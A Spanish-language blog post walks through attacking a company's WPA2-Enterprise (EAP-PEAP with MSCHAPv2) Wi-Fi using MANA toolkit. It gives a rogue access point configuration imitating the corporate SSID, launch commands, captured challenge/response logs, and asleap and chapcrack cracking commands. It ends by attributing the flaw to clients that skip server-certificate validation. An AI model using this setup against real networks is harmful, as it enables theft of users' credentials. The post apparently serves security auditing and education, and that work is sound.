viernes, 12 de febrero de 2016

Atacando 802.1x con MANA toolkit

Siguiendo con la tendencia del artículo anterior y las vulnerabilidades en el nivel de la capa de enlace, en este artículo nos centraremos en el protocolo Radius y su explotación a través de un medio inalámbrico.




Como ya hemos visto en artículos anteriores, sino se presta atención a la correcta configuración de todos los elementos que influyen en la seguridad de la solución, de nada te servirá implementar un robusto sistema de autentificación en el nivel de acceso, seguirás estando expuesto a los mismos riesgos o incluso a mayores.





Mostraremos el caso de una organización, la cual paso a implantar una solución Wifi con clave precompartida a un potente sistema Wifi cuya autentificación y autorización de usuarios se basaba en el protocolo Radius 802.1x.


Situación del escenario


Empresa con elevado números de Puntos de Acceso Wifi, distribuidos por diferentes plantas de sus edificios, ofreciendo cobertura prácticamente del 100% en todas las zonas de trabajo. 

La empresa basa su sistema de autentificación en el protocolo EAP-PEAP con mschapv2.


Un poco de teoría para empezar.


Descubrimiento Wifi y asociación


1. Un cliente Wifi, en primer lugar envía una trama broadcast 802.11 de gestión denominada probe request.

2. La trama es recibida por todos los APs a su alcance y la intención del cliente no es otra que la de detectar redes Wifi a los que conectar.

3.  El AP responde con una trama "probe response" con información de ssid, rate, tipo encriptación.

4. El cliente Wifi recibirá las tramas "Probe response" y seleccionará aquella que más le encaja.

5. A continuación el cliente Wifi envía al AP una trama 802.11 de autentificación a la cual responde el AP.

6. El cliente Wifi enviará  una petición de asociación al AP, donde le indicará las características 802.11 deseadas (encriptación, rate, etc).

7. Si el AP puede soportarlas, este creará un Identificador de Asociación y responderá al cliente Wifi con una trama de "association response.

8. A partir de ese momento el cliente Wifi esta correctamente asociado al AP y puede transferir datos.

9. Si el cliente Wifi ha seleccionado el uso de 802.1x, entonces se permitirá únicamente tráfico de tipo EAP, a través del cual se llevará a cabo un proceso de autentifación, que en caso de ser correcto es cuando se permitirá el tráfico de datos en general.





Protocolo 802.1x


802.1x es un protocolo estándar que trabaja en la capa 2 (de acceso), diseñado para controlar el acceso a la red.

Su funcionamiento a grandes rasgos es:


Detecta un usuario detrás de un puerto (AP / Switch).

Mientras la identidad del usuario no se compruebe:

Sólo se permite tráfico basado en el protocolo de autenticación extensible (EAP).

Para 802.1x la encapsulación EAP se denomina EAPOL (EAP over LANs).

EAP utiliza RADIUS como transporte, la petición será recibida por un Servidor Radius, que será el encargado de llevar a cabo la autentificación, autorización del usuario.

Únicamente se permite el tráfico EAP, hasta que el proceso de autentificación/autorización se ha completado con éxito.

Cualquier otro tipo de tráfico es denegado en el acceso a red.

Dos conceptos importantes a diferenciar en el proceso:

Autentificación: ¿Es el usuario quien dice ser?
Autorización: ¿Qué tipo de acceso a nuestra red concedemos al usuario?







Ventajas del uso de Radius


  • Utiliza EAP: Lo que permite utilizar diferentes métodos para autenticar: EAP-TLS, EAP-TTLS, PEAP.
  • Credenciales viajan cifradas en el medio.
  • Fácil de integrar con 802.1q (VLANes).



Protocolo EAP-PEAP


EAP-PEAP es un protocolo que también pertenece a la familia de protocolos EAP al igual que EAP-TTLS y su funcionamiento es muy similar.

PEAP crea un túnel cifrado entre el cliente wifi y Radius en el nivel transporte (TLS) mediante un certificado de servidor (servidor Radius), de forma que todo el proceso de autentificación viaja seguro y encriptado a través del túnel, ofreciendo un canal seguro para el intercambio de contraseñas mediante el protocolo, que en el caso de la empresa que estamos analizando es MSCHPAv2.



Protocolo MSCHAPv2.


MSCHAPv2  (Protocolo de autenticación por desafío mutuo versión 2) implementa un sistema de autentificación cifrado de Microsoft. 

Lo que nos importa de este protocolo es que:


  • NThash=MD4(Userpassword): El cifrado que implementa no utiliza "salt" junto con el NTHash, esto es lo que nos permite tener más posibilidades de acierto con ataques basados en diccionarios.
  • Se basa en DES para la elección challenge/responde, lo que permite obtener fácilmente dos bytes del NTHash.
  • El usuario viaja en texto claro.

No voy a entrar en detalles de su funcionamiento, pero en Agosto 2012, Microsoft comunica que deje de ser utilizado sino se tuneliza: https://technet.microsoft.com/library/security/2743314.


Entonces siguiendo está recomendación, como la empresa implementa EAP-PEAP para tunelizar el tráfico mschpav2, la organización está a salvo, ¿no?.


Pues depende y veremos el porque.






Explotación 802.1x con MANA toolkit

La idea es muy básica:

Utilizar un Rogue AP para hacer broadcast del SSID de la organización,  simulando su comportamiento de autentificación/cifrado (EAP) mediante un servidor RADIUS.

Esto nos dará la oportunidad de capturar los mensajes mschapv2 (Challenger/Response), y teniendo en cuenta que mschapv2 es un protocolo "roto" y vulnerable a ataques de diccionario, tenemos muchas posibilidades de obtener las credenciales de los usuarios de la organización.


Para llevar a cabo el ataque nos basaremos en la herramienta MANA-toolkit de Dominic White y de Ian de Villiers.

La primera palabra que me viene a la mente para describirla es "impresionante y sencilla".

Engloba un conjunto de herramientas que te permite de una forma muy sencilla encadenar un ataque contra una red Wifi, obtener credenciales, robar las sesiones y suplantar la identidad, un todo en uno.


MANA-ToolKit

Mana-Toolkit implementa, integra y mejora un conjunto de herramientas (hostapd-ataques Karma) para la explotación de sistemas Wifi.


Mana permite convertir tu equipo en un AP integrando herramientas para:


  • La propagación de SSIDs open y la mejora de la autoconexión de los equipos víctima de forma automática para capturar el tráfico.
  • Soporta redes Wifi seguras WPA-PSK, WPA2-PSK, WPA/WPA2-EAP, e incorpora su propio servicio Radius.
  • Captura las credenciales y las crackea (crackapd) mediante la integración de herramientas externas como asleap o cualquiera que quieras utilizar a través del script crakapd.


Pero aun hay más:


  • Se integra con metasploit: una vez tenemos al cliente asociado y autentificado en el Rogue AP, a través de metasploit permite la búsqueda de vulnerabilidades en el equipo cliente y su explotación.
  • Puede simular portales cautivos y proporciona una serie de scripts que automatizan  ataques de MitM para la captura del tráfico de las victimas y de las cookies, automatizado la suplantación del usuario.



Centrándonos en nuestro objetivo, la idea principal es intentar obtener las credenciales los usuarios Wifi de la empresa.


INSTALACIÓN

Mana requiere que la tarjeta Wifi del equipo soporte interfaz en modo AP, lo podemos comprobar con: iw list:

Supported interface modes:
* IBSS
* managed
* AP
* AP/VLAN
* WDS
* monitor
* mesh point
* P2P-client
* P2P-GO


sudo apt-get install libnl-genl-3-dev libnl-3-dev
sudo git clone --depth 1 https://github.com/sensepost/mana

Nota: Se integra con Kali.


Los archivos de configuración:

/etc/mana-toolkit# ls -l

-rw-r--r-- 1 root root  1455 feb  6 12:27 crackapd.conf
-rw-r--r-- 1 root root   324 feb  6 12:27 dhcpd.conf
-rw-r--r-- 1 root root   324 feb  6 12:27 dhcpd-two.conf
-rw-r--r-- 1 root root    11 feb  6 12:27 dnsspoof.conf
-rw-r--r-- 1 root root  3790 feb  6 12:27 hostapd.eap_user
-rw-r--r-- 1 root root   830 feb  6 12:27 hostapd-hidden.conf
-rw-r--r-- 1 root root  1454 feb  6 12:27 hostapd-karma-all.conf
-rw-r--r-- 1 root root   803 feb  6 12:27 hostapd-karma.conf
-rw-r--r-- 1 root root  1454 feb  6 12:27 hostapd-karma-eap.conf
-rw-r--r-- 1 root root  1388 feb  6 12:27 hostapd-karma-eaponly.conf
-rw-r--r-- 1 root root  1990 feb  6 12:27 karmetasploit.rc
-rw-r--r-- 1 root root  3095 feb  6 12:27 stunnel.conf
-rw-r--r-- 1 root root 10299 feb  6 12:27 tinyproxy.conf


/usr/share/mana-toolkit# ls -l

drwxr-xr-x 2 root root 4096 feb  3 15:27 cert
drwxr-xr-x 2 root root 4096 feb  3 15:27 crackapd
drwxr-xr-x 2 root root 4096 feb  3 15:27 firelamb
drwxr-xr-x 2 root root 4096 feb  3 15:27 net-creds
drwxr-xr-x 2 root root 4096 feb  3 15:27 run-mana
drwxr-xr-x 4 root root 4096 feb  3 15:27 sslstrip-hsts
drwxr-xr-x 8 root root 4096 feb  3 15:27 www



/usr/share/mana-toolkit# ls -l

-rwxr-xr-x 1 root root   93 feb  3 15:27 firelamb-view.sh
-rwxr-xr-x 1 root root 6173 feb  3 15:27 mana-menu.sh
-rwxr-xr-x 1 root root 2992 feb  3 15:27 start-nat-full.sh
-rwxr-xr-x 1 root root  806 feb  3 15:27 start-nat-simple.sh
-rwxr-xr-x 1 root root 1681 feb  3 15:27 start-noupstream-all.sh
-rwxr-xr-x 1 root root 1373 feb  3 15:27 start-noupstream-eaponly.sh
-rwxr-xr-x 1 root root 1718 feb  3 15:27 start-noupstream-eap.sh
-rwxr-xr-x 1 root root 1177 feb  3 15:27 start-noupstream.sh

CONFIGURACIÓN

La configuración es muy sencilla, en el caso que  estamos evaluando, configuraremos nuestro AP para soporte de protocolo wpa2 con eap, MANA ya viene con su Radius integrado.

Editamos: /etc/mana-toolkit/hostapd-karma-eap.conf:


interface=wlan0
bssid=00:11:22:33:44:00
driver=nl80211
ssid=AlwaysOn
channel=6

bss=wlan0_0
ssid=wifiempresa
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=/etc/mana-toolkit/hostapd.eap_user
ca_cert=/usr/share/mana-toolkit/cert/rogue-ca.pem
server_cert=/usr/share/mana-toolkit/cert/radius.pem
private_key=/usr/share/mana-toolkit/cert/radius.key
private_key_passwd=
dh_file=/usr/share/mana-toolkit/cert/dhparam.pem
pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
eap_fast_a_id=101112131415161718191a1b1c1d1e1f
eap_fast_a_id_info=test server
eap_fast_prov=3
pac_key_lifetime=604800
pac_key_refresh_time=86400
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP


Arrancamos MANA para soportar EAP


/usr/share/mana-toolkint/run-mana# ./start-noupstream-eap.sh > salida-auth


Comentar que en el arranque, MANA se integra e inicia otras herramientas (dhcpd,dnsspoof,stunnel4,tinnyproxy,msfconsole) para llevar a cabo  ataques más completos.


Configuration file: /etc/mana-toolkit/hostapd-karma-eap.conf
MANA - CrackApd - crackapd.py
MANA - CrackApd - Version 1.0
MANA - CrackApd - Copyright - SensePost (Pty) Ltd - 2014
MANA - CrackApd - Ian de Villiers <ian@sensepost.com>
MANA - CrackApd -
MANA - CrackApd -
MANA - CrackApd - Loading Configuration...
MANA - CrackApd -  + Loaded Configuration.
MANA - CrackApd -  + Verbose               : 1
MANA - CrackApd -  + Total Threads         : 10
MANA - CrackApd -  + Control File          : /tmp/crackapd.run
MANA - CrackApd -  + HostAPD Configuration : /etc/mana-toolkit/hostapd-karma-eap.conf
MANA - CrackApd -  + Crack Executable      : /usr/bin/asleap
MANA - CrackApd -  + Word List             : /usr/share/wordlists/diccionario-wifi.txt
MANA - CrackApd -  + Done
MANA - CrackApd -
MANA - CrackApd -
MANA - CrackApd - Loading HostApd Configuration...
MANA - CrackApd -  + EAP Users File        : /etc/mana-toolkit/hostapd.eap_user
MANA - CrackApd -  + Crack Entry Node      : /var/lib/mana-toolkit/ennode.node
MANA - CrackApd - Opening input FIFO...
Using interface wlan0 with hwaddr 00:11:22:33:44:00 and ssid "movil"
Using interface wlan0_0 with hwaddr 00:11:22:33:44:01 and ssid "eduroam"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
wlan0     Link encap:Ethernet  direcciónHW 00:11:22:33:44:00
          Direc. inet:10.0.0.1  Difus.:10.0.0.255  Másc:255.255.255.0
          Dirección inet6: fe80::211:22ff:fe33:4400/64 Alcance:Enlace
          ACTIVO DIFUSIÓN FUNCIONANDO MULTICAST  MTU:1500  Métrica:1
          Paquetes RX:273307 errores:0 perdidos:0 overruns:0 frame:0
          Paquetes TX:31177 errores:0 perdidos:0 overruns:0 carrier:0
          colisiones:0 long.colaTX:1000
          Bytes RX:60394425 (60.3 MB)  TX bytes:6966106 (6.9 MB)

wlan0_0   Link encap:Ethernet  direcciónHW 00:11:22:33:44:01
          Dirección inet6: fe80::211:22ff:fe33:4401/64 Alcance:Enlace
          ACTIVO DIFUSIÓN FUNCIONANDO MULTICAST  MTU:1500  Métrica:1
          Paquetes RX:0 errores:0 perdidos:0 overruns:0 frame:0
          Paquetes TX:17 errores:0 perdidos:0 overruns:0 carrier:0
          colisiones:0 long.colaTX:1000
          Bytes RX:0 (0.0 B)  TX bytes:3509 (3.5 KB)


Hit enter to kill me


Pasado un tiempo, los dispositivos Wifi clientes habrán empezando a generar peticiones de autentificación, las cuales serán capturadas por MANA.

Navegando por el archivo salida-auth, buscaremos lo que realmente nos interesa, los "response" del protocolo MS-CHAPv2.

wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.11: authentication OK (open system)
wlan0_0: STA 00:27:10:50:xx:xx MLME: MLME-AUTHENTICATE.indication(00:27:10:50:a6:2c, OPEN_SYSTEM)
wlan0_0: STA 00:27:10:50:xx:xx MLME: MLME-DELETEKEYS.request(00:27:10:50:a6:2c)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.11: authenticated
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.11: association OK (aid 1)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.11: associated (aid 1)
wlan0_0: STA 00:27:10:50:xx:xx MLME: MLME-ASSOCIATE.indication(00:27:10:50:a6:2c)
wlan0_0: STA 00:27:10:50:xx:xx MLME: MLME-DELETEKEYS.request(00:27:10:50:a6:2c)
wlan0_0: STA 00:27:10:50:xx:xx WPA: event 1 notification
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: start authentication
wlan0_0: STA 00:27:10:50:xx:xx WPA: start authentication
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: unauthorizing port
wlan0: CTRL-EVENT-EAP-STARTED 00:27:10:50:a6:2c
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: Sending EAP Packet (identifier 213)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: received EAP packet (code=2 id=213 len=12) from STA: EAP Response-Identity (1)
MANA (EAP) : identity: anonimo
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: Sending EAP Packet (identifier 214)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: received EAP packet (code=2 id=214 len=205) from STA: EAP Response-PEAP (25)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: Sending EAP Packet (identifier 215)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: received EAP packet (code=2 id=215 len=6) from STA: EAP Response-PEAP (25)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: Sending EAP Packet (identifier 216)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: received EAP packet (code=2 id=216 len=6) from STA: EAP Response-PEAP (25)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: Sending EAP Packet (identifier 217)
wlan0_0: STA 00:27:10:50:a6:xx IEEE 802.1X: received EAP packet (code=2 id=217 len=332) from STA: EAP Response-PEAP (25)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: Sending EAP Packet (identifier 218)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: received EAP packet (code=2 id=218 len=6) from STA: EAP Response-PEAP (25)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: Sending EAP Packet (identifier 219)
wlan0_0: STA 00:27:10:50:xx:xx IEEE 802.1X: received EAP packet (code=2 id=219 len=96) from STA: EAP Response-PEAP (25)
MANA (EAP) : identity: soporte
wlan0_0: STA 00:27:10:50:a6:2c IEEE 802.1X: Sending EAP Packet (identifier 220)
wlan0_0: STA 00:27:10:50:a6:2c IEEE 802.1X: received EAP packet (code=2 id=220 len=80) from STA: EAP Response-PEAP (25)
wlan0_0: STA 00:27:10:50:a6:2c IEEE 802.1X: Sending EAP Packet (identifier 221)
wlan0_0: STA 00:27:10:50:a6:2c IEEE 802.1X: received EAP packet (code=2 id=221 len=144) from STA: EAP Response-PEAP (25)
MANA : Username:soporte
MANA  : Challenge
MANA  : a8:a6:fb:xx:xx:xx:xx:xx (Datos ocultado)
MANA  : Response
MANA  : 95:3e:2e:13:9e:33:6f:09:f3:0d:d5:2a:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx (Dato ocultado)


Obtenida la "Response" de MSCHAPv2, tenemos el trabajo duro terminado, ahora queda descifrar la contraseña a través de nuestra herramienta favorita.

La cual podemos configurar en /usr/share/mana-toolkit/crackapd/crackapd.py y automátizar el proceso con MANA.


Otra opción es utilizar el servicio Cloudcracker, el cual a través de la herramienta chapcrak nos permite obtener un token que podemos subir al servicio para descifrar la contraseña.

/usr/local/bin/chapcrack radius -C a8:a6:fb:xx:xx:xx:xx:xx  -R  95:3e:2e:13:9e:33:6f:09:f3:0d:d5:2a:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx


Existen otras herramientas  como asleap, la cual usa MANA por defecto.


asleap -C <challenge> -R <response> -W <wordlist>

asleap a8:a6:fb:xx:xx:xx:xx:xx -R 95:3e:2e:13:9e:33:6f:09:f3:0d:d5:2a:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx -W /usr/share/wordlists/diccionario-wifi.txt


Análisis del Problema

La configuración de los clientes Wifi basados en autentificación WPA2-AES con EAP-PEAP disponen de una opción en su configuración denominada "validar certificado de servidor".

Si esta opción está habilitada, el cliente Wifi solicita al servidor Radius que pruebe su identidad, indicándole que presente su certificado, el cliente Wifi lo valida utilizando la Autoridad de Certificación que se encuentra en el equipo, la cual también se selecciona en la configuración.

Si no se le presta la atención adecuada a esta configuración y en todos los equipos que utilicen la conexión wifi en cuestión (ordenadores/móviles), estos estará expuestos a que las credenciales viajen hasta un servidor Radius controlado por un atacante, lo cual permitirá extraer del túnel los datos MS-CHAPv2, que como hemos comentado, una vez se dispone de este dato, su explotación es trivial.


No hay comentarios:

Publicar un comentario